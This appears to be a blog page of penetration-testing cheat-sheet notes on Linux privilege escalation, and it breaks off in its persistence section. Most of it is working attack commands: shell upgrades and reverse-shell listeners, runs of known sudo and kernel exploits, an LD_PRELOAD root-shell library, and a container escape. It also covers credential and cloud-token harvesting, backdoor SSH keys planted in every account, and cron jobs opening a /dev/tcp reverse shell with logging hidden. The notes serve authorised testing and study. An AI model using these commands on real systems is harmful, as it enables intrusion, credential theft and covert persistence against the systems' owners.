Skip to main content
Background Image

VAPT Notes (Linux Exploitation & Privilege Escalation)

5377 words
Edwin Tok | Shiro
Author
Edwin Tok | Shiro
「 ✦ OwO ✦ 」
Table of Contents

Linux Exploitation & Privilege Escalation
#

Environment Setup
#

# Essential Variables - Set these at the beginning of your engagement
export TARGET_IP="10.10.10.100"           # Primary target IP
export TARGET_NETWORK="10.10.10.0/24"     # Target network CIDR
export DC_IP="10.10.10.1"                 # Domain Controller IP
export LOCAL_ATTACKER_IP="10.10.14.5"     # Your attacking machine IP
export LOCAL_ATTACKER_PORT="443"          # Your listener port
export DOMAIN="corp.local"                 # Target domain name

Initial Access & Shell Upgrade
#

# === BASIC TTY SPAWN ===

# Python TTY (most common)
python3 -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'

# Alternative spawns
script /dev/null -c bash
script -qc /bin/bash /dev/null
/bin/bash -i
perl -e 'exec "/bin/bash";'
ruby -e 'exec "/bin/bash"'
lua -e 'os.execute("/bin/bash")'
awk 'BEGIN {system("/bin/bash")}'

# Check current shell
echo $0
echo $SHELL

# === FULL INTERACTIVE SHELL ===

# Method 1: Complete stabilization (recommended)
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Press Ctrl+Z to background
stty raw -echo; fg
# Press Enter twice
export TERM=xterm-256color
export SHELL=bash
stty rows 38 columns 116  # Adjust to your terminal size

# Method 2: Using socat (if available on target)
# On attacker:
socat file:`tty`,raw,echo=0 tcp-listen:4444
# On target:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:$LHOST:4444

# Method 3: rlwrap wrapper (on attacker machine)
rlwrap nc -lvnp 4444

# === VERIFY STABILIZATION ===

# Test tab completion, arrow keys, Ctrl+C behavior
ls [TAB][TAB]
history | tail

# === GET TERMINAL SIZE (for stty) ===

# On your local machine:
stty size
# Returns: rows columns (e.g., 38 116)

Basic System Information
#

# === SYSTEM INFORMATION ===

# Kernel and system info
uname -a
cat /etc/os-release
cat /etc/issue
cat /proc/version
lscpu
hostname
hostnamectl  # Modern systemd systems

# System uptime and load
uptime
w

# Architecture
arch
dpkg --print-architecture  # Debian/Ubuntu
rpm -q --qf '%{ARCH}\n' rpm  # RHEL/CentOS

# Distribution-specific
lsb_release -a  # Ubuntu/Debian
cat /etc/redhat-release  # RHEL/CentOS
cat /etc/debian_version  # Debian

# === USERS & PRIVILEGES ===

# Current user info
id
whoami
groups
cat /etc/passwd
cat /etc/group
cat /etc/shadow  # If readable

# Password policy
cat /etc/login.defs
cat /etc/security/pwquality.conf

# Logged-in users
who
w
last -a  # Login history
lastlog  # Last login per user
cat /var/log/auth.log  # Login attempts (Debian/Ubuntu)
cat /var/log/secure  # Login attempts (RHEL/CentOS)

# Check for specific privileged users
getent passwd {0..1000}  # UIDs 0-1000
awk -F: '($3 == 0) {print}' /etc/passwd  # UID 0 users

# Sudo configuration
cat /etc/sudoers
cat /etc/sudoers.d/*

# === NETWORK ENUMERATION ===

# Network interfaces and IPs
ip a
ip addr show
ifconfig  # Legacy

# Routing table
ip route
ip route show
route -n  # Legacy

# DNS configuration
cat /etc/resolv.conf
cat /etc/hosts
systemd-resolve --status  # Modern systemd

# ARP cache
ip neigh
arp -a  # Legacy

# Listening ports and connections
ss -tulnp  # Modern
ss -antp   # TCP connections
ss -anup   # UDP connections
netstat -tulnp  # Legacy
netstat -ano  # Legacy, all connections

# Firewall rules
iptables -L -n -v
ip6tables -L -n -v
nft list ruleset  # nftables
ufw status  # Ubuntu firewall

# Network configuration files
cat /etc/network/interfaces  # Debian/Ubuntu
cat /etc/sysconfig/network-scripts/ifcfg-*  # RHEL/CentOS
cat /etc/netplan/*.yaml  # Ubuntu 18.04+

# === PROCESS ENUMERATION ===

# All processes
ps aux
ps -ef
ps auxf  # Tree view
pstree  # Process tree

# Processes by user
ps -u root
ps -u $(whoami)

# Real-time monitoring
top
htop  # If available

# Service enumeration (systemd)
systemctl list-units --type=service --state=running
systemctl list-units --type=service --all
systemctl list-unit-files --type=service

# Service enumeration (SysV init)
service --status-all
chkconfig --list  # RHEL/CentOS

# Listening services
lsof -i  # All network connections
lsof -i :80  # Specific port

# === DISK & FILESYSTEM ===

# Mounted filesystems
mount
df -h
cat /etc/fstab
findmnt

# Disk usage
du -sh /*
du -sh /home/*

# Block devices
lsblk
blkid

# Check for interesting mounts
mount | grep -E "ext|nfs|cifs|tmpfs"
cat /etc/exports  # NFS exports
cat /etc/samba/smb.conf  # Samba shares

Automated Enumeration Scripts
#

# === LINPEAS (MOST COMPREHENSIVE) ===

# Download and run
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# Or download first
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh -a  # All checks
./linpeas.sh -s  # Superfast
./linpeas.sh -P  # Password hunting

# Output to file
./linpeas.sh -a > linpeas_output.txt 2>&1

# === LINENUM ===

wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh -t  # Thorough mode
./LinEnum.sh -r /report/path  # Custom output

# === LINUX EXPLOIT SUGGESTER ===

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh
./linux-exploit-suggester.sh -k $(uname -r)  # Specific kernel

# Alternative: linux-exploit-suggester-2
wget https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl
chmod +x linux-exploit-suggester-2.pl
./linux-exploit-suggester-2.pl

# === PSPY (MONITOR PROCESSES WITHOUT ROOT) ===

# Download appropriate version
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32
chmod +x pspy64
./pspy64 -pf -i 1000  # Print file system events, 1s interval

# === LINUX SMART ENUMERATION (LSE) ===

wget https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh
chmod +x lse.sh
./lse.sh -l 1  # Level 1 (basic)
./lse.sh -l 2  # Level 2 (detailed)

# === LINUX PRIV CHECKER ===

wget https://raw.githubusercontent.com/sleventyeleven/linuxprivchecker/master/linuxprivchecker.py
python linuxprivchecker.py

# === BEROOT ===

wget https://raw.githubusercontent.com/AlessandroZ/BeRoot/master/Linux/beroot.py
python beroot.py

# === UNIX-PRIVESC-CHECK ===

wget https://raw.githubusercontent.com/pentestmonkey/unix-privesc-check/master/unix-privesc-check
chmod +x unix-privesc-check
./unix-privesc-check standard  # Standard checks
./unix-privesc-check detailed  # Detailed checks

Manual Privilege Escalation Checks
#

# === SUDO PRIVILEGES ===

# Check sudo rights
sudo -l

# Check sudo version (for exploits)
sudo --version
sudo -V | head -1

# Common sudo bypasses
sudo -u#-1 /bin/bash  # CVE-2019-14287 (sudo < 1.8.28)

# === SUID/SGID BINARIES ===

# Find SUID binaries
find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

# Find SGID binaries
find / -perm -2000 -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null

# Combined SUID/SGID
find / -type f \( -perm -4000 -o -perm -2000 \) -exec ls -ld {} \; 2>/dev/null

# SUID owned by user (unusual)
find / -user $(whoami) -perm -4000 2>/dev/null

# Check against GTFOBins
# https://gtfobins.github.io/

# === CAPABILITIES ===

# List all capabilities (modern Linux privilege mechanism)
getcap -r / 2>/dev/null

# Common dangerous capabilities:
# CAP_SETUID - can change UID
# CAP_DAC_OVERRIDE - bypass file permissions
# CAP_SYS_ADMIN - near root access
# CAP_NET_RAW - packet manipulation

# Example exploitation (cap_setuid+ep on python)
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# === WRITABLE FILES & DIRECTORIES ===

# World-writable files
find / -writable -type f 2>/dev/null | grep -v proc | grep -v sys
find / -perm -222 -type f 2>/dev/null

# World-writable directories
find / -writable -type d 2>/dev/null | grep -v proc | grep -v sys
find / -perm -o+w -type d 2>/dev/null

# Writable /etc files (high value)
find /etc -writable -type f 2>/dev/null

# Files owned by current user
find / -user $(whoami) -type f 2>/dev/null

# === CRON JOBS ===

# User crontabs
crontab -l
crontab -l -u root  # If we have permission

# System cron
cat /etc/crontab
ls -la /etc/cron*
cat /etc/cron.d/*
cat /etc/cron.daily/*
cat /etc/cron.hourly/*
cat /etc/cron.monthly/*
cat /etc/cron.weekly/*

# Systemd timers (modern alternative to cron)
systemctl list-timers --all

# Monitor for new processes (detect cron execution)
# Use pspy64 from earlier

# === PATH VARIABLE ===

# Check PATH
echo $PATH
env | grep PATH

# Writable directories in PATH (hijacking opportunity)
echo $PATH | tr ':' '\n' | xargs -I {} sh -c 'test -w "{}" && echo "{} is writable"'

# === ENVIRONMENT VARIABLES ===

# Check all environment variables
env
printenv
export

# Check for LD_PRELOAD or LD_LIBRARY_PATH
env | grep -i ld

# Check /etc/environment
cat /etc/environment

# Check /etc/profile and user profiles
cat /etc/profile
cat ~/.bashrc
cat ~/.bash_profile
cat ~/.profile

# === KERNEL MODULES ===

# List loaded modules
lsmod
cat /proc/modules

# Module information
modinfo <module_name>

# Check if we can load modules (dangerous)
ls -la /lib/modules/$(uname -r)/kernel/

# === NFS SHARES ===

# Check NFS exports (if NFS server)
cat /etc/exports
showmount -e localhost

# Check for no_root_squash (major privesc)
cat /etc/exports | grep no_root_squash

# === DOCKER / CONTAINERS ===

# Check if we're in a container
cat /.dockerenv  # Docker
cat /proc/1/cgroup | grep -i docker
cat /proc/1/cgroup | grep -i lxc
systemd-detect-virt

# Docker socket (major privesc if accessible)
ls -la /var/run/docker.sock
docker ps  # If docker is available

# Check for container escape via capabilities
capsh --print

# === INTERESTING FILES ===

# Configuration files
find / -name "*.conf" 2>/dev/null | grep -v proc | head -20
find /etc -name "*.conf" -type f 2>/dev/null

# Backup files
find / -name "*.bak" -o -name "*.backup" -o -name "*~" 2>/dev/null | head -20

# Password-related files
find / -name "*password*" -o -name "*passwd*" 2>/dev/null | grep -v proc | head -20

# Database files
find / -name "*.db" -o -name "*.sqlite" -o -name "*.sql" 2>/dev/null | head -20

# Log files (may contain credentials)
find /var/log -type f -readable 2>/dev/null

# Application configs
find /var/www -name "*.conf" -o -name "*.config" -o -name "*.xml" 2>/dev/null
find /opt -name "*.conf" -o -name "*.config" 2>/dev/null

# === MAIL & MESSAGES ===

# Check user mail
ls -la /var/mail
cat /var/mail/$(whoami)
cat /var/spool/mail/$(whoami)

# Messages
cat /var/log/messages

Credential Hunting
#

# === HISTORY FILES ===

# Bash history
cat ~/.bash_history
cat /root/.bash_history  # If accessible

# All users' history
find /home -name ".*_history" -exec cat {} \; 2>/dev/null

# Other shell histories
cat ~/.zsh_history
cat ~/.fish_history
cat ~/.sh_history

# MySQL history
cat ~/.mysql_history

# Python history
cat ~/.python_history

# Redis CLI history
cat ~/.rediscli_history

# PostgreSQL history
cat ~/.psql_history

# Less history (pager)
cat ~/.lesshst

# Vim history
cat ~/.viminfo

# === CONFIGURATION FILES ===

# Search for passwords in common locations
grep -ri "password" /etc/ 2>/dev/null | grep -v "Binary"
grep -ri "passwd" /etc/ 2>/dev/null | grep -v "Binary"
grep -ri "pwd" /etc/ 2>/dev/null | grep -v "Binary"

# Web application configs
find /var/www -type f \( -name "*.php" -o -name "*.conf" -o -name "*.config" -o -name "*.xml" -o -name "*.ini" \) -exec grep -l "password\|passwd\|pwd" {} \; 2>/dev/null

# WordPress
cat /var/www/html/wp-config.php

# Drupal
cat /var/www/html/sites/default/settings.php

# Joomla
cat /var/www/html/configuration.php

# Application configs in /opt
find /opt -type f \( -name "*.conf" -o -name "*.config" -o -name "*.xml" -o -name "*.properties" \) 2>/dev/null

# User configs
find /home -type f \( -name "*.conf" -o -name "*.config" -o -name "*.xml" \) 2>/dev/null

# === SSH KEYS ===

# Private keys
find / -name "id_rsa" -o -name "id_dsa" -o -name "id_ed25519" -o -name "id_ecdsa" 2>/dev/null
find / -name "*.pem" -o -name "*.key" 2>/dev/null

# SSH authorized_keys
cat ~/.ssh/authorized_keys
find /home -name "authorized_keys" 2>/dev/null

# SSH config
cat ~/.ssh/config
cat /etc/ssh/sshd_config

# Known hosts (may reveal other targets)
cat ~/.ssh/known_hosts

# Check permissions on SSH keys
find /home -name "id_*" -exec ls -la {} \; 2>/dev/null

# === DATABASE FILES & CREDENTIALS ===

# SQLite databases
find / -name "*.db" -o -name "*.sqlite" -o -name "*.sqlite3" 2>/dev/null | head -20

# MySQL/MariaDB
cat /etc/mysql/my.cnf
cat ~/.my.cnf
cat /var/lib/mysql/debian.cnf  # Debian maintenance user
ls -la /var/lib/mysql/

# PostgreSQL
cat /etc/postgresql/*/main/pg_hba.conf
cat ~/.pgpass

# MongoDB
cat /etc/mongodb.conf
cat /etc/mongod.conf

# Redis
cat /etc/redis/redis.conf

# === ENVIRONMENT VARIABLES ===

# Current environment
env | grep -i pass
env | grep -i pwd
env | grep -i key
env | grep -i token
env | grep -i secret
env | grep -i api

# All users' environment
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -i "pass\|pwd\|key\|token\|secret"

# === CLOUD METADATA (AWS, Azure, GCP) ===

# AWS EC2 metadata
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/user-data/

# AWS IMDSv2 (newer method)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/

# Azure metadata
curl -H "Metadata:true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"

# Google Cloud metadata
curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true" -H "Metadata-Flavor: Google"
curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google"

# === LOG FILES ===

# Auth logs (login attempts, sudo usage)
cat /var/log/auth.log  # Debian/Ubuntu
cat /var/log/secure  # RHEL/CentOS
grep -i "password\|user\|sudo" /var/log/auth.log 2>/dev/null

# Apache/Nginx logs (may contain creds in requests)
find /var/log -name "*.log" -type f -exec grep -i "password\|user=\|pass=" {} \; 2>/dev/null | head -50

# Syslog
grep -i "password\|credential" /var/log/syslog 2>/dev/null
grep -i "password\|credential" /var/log/messages 2>/dev/null

# Application logs
find /var/log -type f -readable -exec grep -l "password\|passwd\|credential" {} \; 2>/dev/null

# === BROWSER DATA ===

# Firefox
find /home -path "*/.mozilla/firefox/*.default*/logins.json" 2>/dev/null
find /home -path "*/.mozilla/firefox/*.default*/key*.db" 2>/dev/null

# Chrome/Chromium
find /home -path "*/.config/google-chrome/Default/Login Data" 2>/dev/null
find /home -path "*/.config/chromium/Default/Login Data" 2>/dev/null

# === BACKUP FILES ===

# Common backup extensions
find / -name "*.bak" -o -name "*.backup" -o -name "*.old" -o -name "*~" 2>/dev/null | head -30

# Shadow backup
cat /etc/shadow-
cat /var/backups/shadow*

# Passwd backup
cat /etc/passwd-
cat /var/backups/passwd*

# Tar/zip archives
find /home -name "*.tar" -o -name "*.tar.gz" -o -name "*.zip" 2>/dev/null
find /var -name "*.tar" -o -name "*.tar.gz" -o -name "*.zip" 2>/dev/null

# === SCRIPTS & SOURCE CODE ===

# Shell scripts
find / -name "*.sh" -type f 2>/dev/null | head -30
grep -r "password=" /home/*.sh 2>/dev/null

# Python scripts
find / -name "*.py" -type f -exec grep -l "password\|passwd" {} \; 2>/dev/null | head -20

# Ruby scripts
find / -name "*.rb" -type f -exec grep -l "password\|passwd" {} \; 2>/dev/null | head -20

# === MEMORY DUMPS ===

# Process memory (if accessible)
strings /proc/*/mem 2>/dev/null | grep -i "password\|passwd"

# Core dumps
find / -name "core" -o -name "core.*" 2>/dev/null

# === GIT REPOSITORIES ===

# Find git repos (may contain secrets)
find / -name ".git" -type d 2>/dev/null

# Check git config for credentials
find / -name ".git" -type d -exec cat {}/config \; 2>/dev/null

# Git logs may contain sensitive info
find / -name ".git" -type d -exec git --git-dir={} log \; 2>/dev/null

# === DOCKER & CONTAINER SECRETS ===

# Docker config (may contain registry credentials)
cat ~/.docker/config.json

# Kubernetes secrets (if mounted)
ls -la /var/run/secrets/kubernetes.io/serviceaccount/
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# Docker environment variables
docker inspect <container_id> | grep -i env  # If docker available

# === APPLICATION-SPECIFIC ===

# Jenkins
cat /var/lib/jenkins/config.xml
cat /var/lib/jenkins/secrets/master.key
cat /var/lib/jenkins/secrets/hudson.util.Secret

# Ansible
find / -name "ansible.cfg" 2>/dev/null
find / -path "*/ansible/*vault*" 2>/dev/null

# Chef
find / -name "knife.rb" 2>/dev/null
find / -name "client.pem" 2>/dev/null

# Terraform
find / -name "terraform.tfstate" -o -name "*.tfvars" 2>/dev/null

# === NETWORK CREDENTIALS ===

# WiFi passwords (NetworkManager)
cat /etc/NetworkManager/system-connections/*

# VPN configs
find /etc -name "*.ovpn" 2>/dev/null
cat /etc/openvpn/*.conf

# === CLIPBOARD & SCREEN ===

# X11 clipboard (if GUI session accessible)
xclip -o 2>/dev/null

# Screen sessions
screen -ls
# Attach to sessions and check for credentials

# Tmux sessions
tmux ls
# Attach to sessions

# === PASSWORD MANAGERS ===

# KeePass databases
find / -name "*.kdbx" 2>/dev/null

# Pass (Unix password manager)
ls -la ~/.password-store/

# === MISCELLANEOUS ===

# Credentials in plaintext files
find /home -type f \( -name "*password*" -o -name "*credential*" -o -name "*secret*" \) 2>/dev/null

# Check .txt files for passwords
find /home -name "*.txt" -exec grep -l "password\|credential" {} \; 2>/dev/null

# Slack tokens
find / -name "*slack*" -type f -exec grep -i "token\|api" {} \; 2>/dev/null

# AWS credentials
cat ~/.aws/credentials
cat ~/.aws/config

# GCP credentials
cat ~/.config/gcloud/credentials.db
ls -la ~/.config/gcloud/

# SSH agent (if running)
echo $SSH_AUTH_SOCK
ssh-add -l  # List loaded keys

# GPG keys
gpg --list-keys
gpg --list-secret-keys

Common Privilege Escalation Techniques
#

# === SUID BINARY EXPLOITATION ===

# Always reference GTFOBins
# https://gtfobins.github.io/

# Common SUID exploits

# find
find . -exec /bin/bash -p \; -quit
find / -name "dummy" -exec /bin/bash -p \;

# vim/vi
vim -c ':!/bin/bash'
vim
:set shell=/bin/bash
:shell

# less
less /etc/passwd
!/bin/bash

# more
more /etc/passwd
!/bin/bash

# nmap (old versions < 5.21)
nmap --interactive
!sh

# awk
awk 'BEGIN {system("/bin/bash -p")}'

# python
python -c 'import os; os.execl("/bin/bash", "bash", "-p")'
python3 -c 'import os; os.execl("/bin/bash", "bash", "-p")'

# perl
perl -e 'exec "/bin/bash";'

# tar
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash

# git
git help status  # Spawns less, then !/bin/bash
sudo PAGER='sh -c "exec sh 0<&1"' git -p help

# ftp
ftp
!/bin/bash

# man
man man
!/bin/bash

# systemctl (if SUID/sudo)
systemctl
!sh

# journalctl (if SUID/sudo, spawns pager)
journalctl
!/bin/bash

# cp (overwrite files)
cp /bin/bash /tmp/bash
chmod +s /tmp/bash

# === ANALYZING CUSTOM SUID BINARIES ===

# Find custom/unusual SUID binaries
find / -perm -4000 -type f 2>/dev/null | xargs ls -la

# Static analysis
strings /path/to/suid_binary | grep -i "pass\|user\|root"
strings /path/to/suid_binary | grep "/"  # Look for system calls

# Dynamic analysis
ltrace /path/to/suid_binary 2>&1 | tee ltrace.log
strace /path/to/suid_binary 2>&1 | tee strace.log

# Check for relative paths (PATH hijacking opportunity)
strings /path/to/suid_binary | grep -v "^/"

# Decompile (if needed)
# ghidra, IDA Pro, or radare2

# === SUDO EXPLOITATION ===

# Check sudo privileges
sudo -l

# Check sudo version
sudo --version
sudo -V | head -1

# CVE-2021-3156 (Baron Samedit) - sudo < 1.9.5p2
# https://github.com/blasty/CVE-2021-3156
sudoedit -s '\' $(python3 -c 'print("A"*1000)')

# CVE-2019-14287 - sudo < 1.8.28
sudo -u#-1 /bin/bash
sudo -u#4294967295 /bin/bash

# CVE-2019-18634 - sudo with pwfeedback
# https://github.com/saleemrashid/sudo-cve-2019-18634

# Common sudo misconfigurations

# LD_PRELOAD exploitation
# Check if LD_PRELOAD is allowed
sudo -l | grep -i ld_preload

# Create malicious library
cat > /tmp/shell.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash -p");
}
EOF

gcc -fPIC -shared -o /tmp/shell.so /tmp/shell.c -nostartfiles
sudo LD_PRELOAD=/tmp/shell.so <allowed_program>

# LD_LIBRARY_PATH exploitation
# Check if LD_LIBRARY_PATH is preserved
sudo -l | grep -i ld_library_path

# Find library used by sudo-allowed binary
ldd /path/to/allowed_binary

# Create malicious library with same name
gcc -fPIC -shared -o /tmp/libname.so /tmp/shell.c -nostartfiles
sudo LD_LIBRARY_PATH=/tmp /path/to/allowed_binary

# NOPASSWD entries
# If you see (ALL) NOPASSWD: /usr/bin/vim
sudo vim -c ':!/bin/bash'

# Shell escapes in allowed programs
# vim, less, more, man, nano, etc. - see GTFOBins

# Environment variable abuse
# If env_keep+=LD_PRELOAD or similar
sudo -l
# Look for env_keep or env_reset options

# Wildcard exploitation in sudo rules
# If rule: /usr/bin/rsync * /backup/
# Create files: --rsh=, and shell.sh
touch -- "--rsh=sh shell.sh"
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash" > shell.sh
chmod +x shell.sh

# PATH manipulation
# If sudo doesn't reset PATH or uses relative paths
echo "/bin/bash" > /tmp/ls
chmod +x /tmp/ls
sudo PATH=/tmp:$PATH ls

# === KERNEL EXPLOITATION ===

# Check kernel version
uname -r
uname -a
cat /proc/version

# Run exploit suggester
./linux-exploit-suggester.sh -k $(uname -r)

# Common kernel exploits

# DirtyCOW (CVE-2016-5195) - Linux < 4.8.3
wget https://raw.githubusercontent.com/firefart/dirtycow/master/dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
./dirty NewPassword

# DirtyCOW SUID (alternative method)
wget https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
gcc -pthread dirtyc0w.c -o dcow
./dcow

# PwnKit (CVE-2021-4034) - pkexec, all versions since 2009
wget https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit
chmod +x PwnKit
./PwnKit

# Or compile from source
git clone https://github.com/arthepsy/CVE-2021-4034.git
cd CVE-2021-4034
make
./cve-2021-4034

# Dirty Pipe (CVE-2022-0847) - Linux 5.8 - 5.16.11
wget https://raw.githubusercontent.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit/main/exploit.c
gcc exploit.c -o exploit
./exploit /bin/su

# OverlayFS (CVE-2021-3493) - Ubuntu kernels
wget https://raw.githubusercontent.com/briskets/CVE-2021-3493/main/exploit.c
gcc exploit.c -o exploit
./exploit

# Netfilter (CVE-2021-22555) - Linux 2.6.19 - 5.11
# https://github.com/google/security-research/tree/master/pocs/linux/cve-2021-22555

# === CAPABILITIES EXPLOITATION ===

# Find binaries with capabilities
getcap -r / 2>/dev/null

# CAP_SETUID exploitation (most common)
# If python has cap_setuid+ep
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# If perl has cap_setuid+ep
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'

# If php has cap_setuid+ep
php -r "posix_setuid(0); system('/bin/bash');"

# CAP_DAC_READ_SEARCH (read any file)
# Can read /etc/shadow or SSH keys
tar -czf /tmp/shadow.tar.gz /etc/shadow
cat /tmp/shadow.tar.gz | base64

# CAP_SYS_ADMIN (near root)
# Can mount filesystems, load kernel modules

# === CRON JOB EXPLOITATION ===

# Monitor for cron jobs
# Use pspy64 or check manually
watch -n 1 'ps aux | grep -v "\[" | tail -20'

# Writable cron files
find /etc/cron* -type f -writable 2>/dev/null

# PATH hijacking in cron
# If cron runs: * * * * * backup.sh
# And PATH doesn't include full paths
echo '#!/bin/bash\ncp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /tmp/backup.sh
chmod +x /tmp/backup.sh
# Wait for cron to execute

# Wildcard injection in tar backup
# If cron runs: tar -czf /backup/backup.tar.gz *
cd /target/directory
echo '#!/bin/bash\ncp /bin/bash /tmp/bash; chmod +s /tmp/bash' > shell.sh
chmod +x shell.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'
# Wait for cron

# Writable script called by cron
echo '#!/bin/bash\ncp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /path/to/cron_script.sh

# === FILE PERMISSION EXPLOITATION ===

# Writable /etc/passwd (add root user)
openssl passwd -1 -salt salt password123
echo 'newroot:$1$salt$hash:0:0:root:/root:/bin/bash' >> /etc/passwd
su newroot

# Writable /etc/shadow
# Generate hash
openssl passwd -6 -salt salt password123
# Replace root's hash in /etc/shadow

# Writable sudoers file
echo 'username ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers

# Writable systemd service file
find /etc/systemd/system -writable -type f 2>/dev/null

# Modify service to execute our payload
cat > /etc/systemd/system/malicious.service << 'EOF'
[Unit]
Description=Malicious Service

[Service]
Type=oneshot
ExecStart=/bin/bash -c 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash'

[Install]
WantedBy=multi-user.target
EOF

systemctl enable malicious.service
systemctl start malicious.service

# === CONTAINER ESCAPES ===

# Check if in container
cat /.dockerenv
ls -la /.dockerenv
hostname | grep -E "^[a-f0-9]{12}$"

# Docker socket mounted (major privesc)
ls -la /var/run/docker.sock
docker ps
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

# Privileged container
# Check capabilities
capsh --print | grep "Current:"

# If CAP_SYS_ADMIN
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# === NFS no_root_squash ===

# From attacker machine with NFS mount
showmount -e $TARGET_IP
mkdir /tmp/nfs
mount -t nfs $TARGET_IP:/shared /tmp/nfs
cp /bin/bash /tmp/nfs/bash
chmod +s /tmp/nfs/bash

# On target, execute
/shared/bash -p

# === LXD/LXC GROUP MEMBERSHIP ===

# If user is in lxd or lxc group
id | grep -E "lxd|lxc"

# Method 1: Alpine image
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
./build-alpine

# Transfer to target and import
lxc image import ./alpine*.tar.gz --alias myimage
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
# Now at /mnt/root with full access

# === PYTHON LIBRARY HIJACKING ===

# Check Python path
python3 -c "import sys; print('\n'.join(sys.path))"

# If writable directory in path
echo 'import os;os.system("/bin/bash")' > /writable/path/module.py

# Trigger import (depends on target script)

# === SHARED LIBRARY HIJACKING ===

# Check library load order
ldd /path/to/binary

# If binary uses relative path or writable directory
# Create malicious library
gcc -shared -fPIC -o /tmp/libmalicious.so shell.c
export LD_LIBRARY_PATH=/tmp:$LD_LIBRARY_PATH
/path/to/binary

Linux Persistence
#

# === SSH KEY PERSISTENCE ===

# Generate SSH key on attacker machine
ssh-keygen -t ed25519 -N "" -f ~/.ssh/persistence_key -C "maintenance@system"
cat ~/.ssh/persistence_key.pub

# Alternative: RSA key (wider compatibility)
ssh-keygen -t rsa -b 4096 -N "" -f ~/.ssh/persistence_key -C "maintenance@system"

# On target: Add to authorized_keys
mkdir -p ~/.ssh
chmod 700 ~/.ssh
echo 'ssh-ed25519 AAAAC3... maintenance@system' >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

# Inject into all user accounts
for user in $(cut -d: -f1 /etc/passwd); do
  home=$(eval echo ~$user)
  if [ -d "$home" ]; then
    mkdir -p "$home/.ssh" 2>/dev/null
    echo 'ssh-ed25519 AAAAC3... maintenance@system' >> "$home/.ssh/authorized_keys" 2>/dev/null
    chown -R $user:$user "$home/.ssh" 2>/dev/null
    chmod 700 "$home/.ssh" 2>/dev/null
    chmod 600 "$home/.ssh/authorized_keys" 2>/dev/null
  fi
done

# Root SSH key persistence
mkdir -p /root/.ssh
chmod 700 /root/.ssh
echo 'ssh-ed25519 AAAAC3... maintenance@system' >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

# Hide key in authorized_keys (obfuscation)
# Add among existing keys or with misleading comment
echo 'ssh-ed25519 AAAAC3... root@localhost' >> ~/.ssh/authorized_keys

# SSH key with forced command (stealthy)
echo 'command="/bin/bash",no-pty,no-X11-forwarding ssh-ed25519 AAAAC3...' >> ~/.ssh/authorized_keys

# === CRON JOB PERSISTENCE ===

# User crontab (non-root)
(crontab -l 2>/dev/null; echo "*/10 * * * * /bin/bash -c 'bash -i >& /dev/tcp/$LHOST/4444 0>&1'") | crontab -

# Remove crontab logging (stealth)
(crontab -l 2>/dev/null; echo "*/10 * * * * /bin/bash -c 'bash -i >& /dev/tcp/$LHOST/4444 0>&1' 2>&1 >/dev/null") | crontab -

# System-wide crontab
echo "*/10 * * * * root /bin/bash -c 'bash -i >& /dev/tcp/$LHOST/4444 0>&1'" >> /etc/crontab

# Drop script in cron directories
